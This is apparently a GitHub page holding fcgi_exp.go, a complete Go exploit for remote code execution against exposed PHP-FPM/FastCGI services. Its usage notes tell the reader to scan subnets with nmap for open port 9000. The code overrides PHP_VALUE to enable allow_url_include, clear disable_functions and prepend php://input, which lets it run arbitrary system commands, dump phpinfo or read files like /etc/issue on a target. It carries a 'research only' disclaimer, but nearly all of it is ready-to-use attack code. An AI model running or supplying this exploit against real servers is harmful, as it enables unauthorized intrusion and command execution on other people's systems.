-
Notifications
You must be signed in to change notification settings - Fork 9
/
fcgi_exp.go
118 lines (102 loc) · 3.19 KB
/
fcgi_exp.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
/* PHP FactCGI Remote Code Execute Exploit
* Date: 2012-09-15
* Author: [email protected]
* Affected: All PHP-FPM exposed outsie, but "system" cmd only affects >=5.3.3
* !!Note: Only for research purpose!!
* Usage:
* First use nmap.
* $nmap -sV -p 9000 --open xxx.xxx.xxx.xxx/24
* Find any open port marked as "tcpwrapped".
* $go build fcgi_exp.go
* $./fcgi_exp read xxx.xxx.xxx.xxx 9000 /etc/issue
* X-Powered-By: PHP/5.3.2-1ubuntu4.9
* Content-type: text/html
*
* Ubuntu 10.04.3 LTS \n \l
*/
package main
import (
"./fcgiclient"
"fmt"
"os"
"strconv"
"strings"
)
func usage(name string) {
fmt.Printf("--------------------------------\n")
fmt.Printf("PHP Fastcgi Remote Code Execute Exploit.\n")
fmt.Printf("Date: 2012-09-15\n")
fmt.Printf("Author: [email protected]\n")
fmt.Printf("Note: Only for research purpose\n")
fmt.Printf("--------------------------------\n\n")
fmt.Printf("Usage: %s <cmd> <ip> <port> <file> [command]\n", name)
fmt.Printf("\t cmd: phpinfo, system, read\n")
fmt.Printf("\t the SYSTEM cmd only affects PHP-FPM >= 5.3.3\n")
fmt.Printf("\t ip: Target ip to exploit with.\n")
fmt.Printf("\t port: Target port running php-fpm.\n")
fmt.Printf("\t file: File to read or execute.\n")
fmt.Printf("\t command: Command to execute by system. Must use with cmd 'system'.\n\n")
fmt.Printf("Example: %s system 127.0.0.1 9000 /var/www/html/index.php \"whoami\"\n", name)
fmt.Printf("\t %s phpinfo 127.0.0.1 9000 /var/www/html/index.php > phpinfo.html\n", name)
fmt.Printf("\t %s read 127.0.0.1 9000 /etc/issue\n", name)
os.Exit(-1)
}
func main() {
var cmd, ip, url, reqParams string
var port int
var cutLine = "-----0vcdb34oju09b8fd-----\n"
if len(os.Args) < 5 {
usage(os.Args[0])
} else {
cmd = os.Args[1]
ip = os.Args[2]
p, err1 := strconv.Atoi(os.Args[3])
url = os.Args[4]
if err1 != nil {
usage(os.Args[0])
}
port = p
}
switch {
case strings.ToLower(cmd) == "phpinfo":
reqParams = "<?php phpinfo();die('" + cutLine + "');?>"
case strings.ToLower(cmd) == "system":
if len(os.Args) != 6 {
usage(os.Args[0])
} else {
reqParams = "<?php system('" + os.Args[5] + "');die('" + cutLine + "');?>"
}
case strings.ToLower(cmd) == "read":
reqParams = ""
default:
usage(os.Args[0])
}
env := make(map[string]string)
env["SCRIPT_FILENAME"] = url
env["DOCUMENT_ROOT"] = "/"
env["SERVER_SOFTWARE"] = "go / fcgiclient "
env["REMOTE_ADDR"] = "127.0.0.1"
env["SERVER_PROTOCOL"] = "HTTP/1.1"
if len(reqParams) != 0 {
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off\nauto_prepend_file = php://input"
} else {
env["REQUEST_METHOD"] = "GET"
}
fcgi, err := fcgiclient.New(ip, port)
if err != nil {
fmt.Printf("err: %v", err)
}
stdout, stderr, err := fcgi.Request(env, reqParams)
if err != nil {
fmt.Printf("err: %v", err)
}
if strings.Contains(string(stdout), cutLine) {
stdout = []byte(strings.SplitN(string(stdout), cutLine, 2)[0])
}
fmt.Printf("%s", stdout)
if len(stderr) > 0 {
fmt.Printf("%s", stderr)
}
}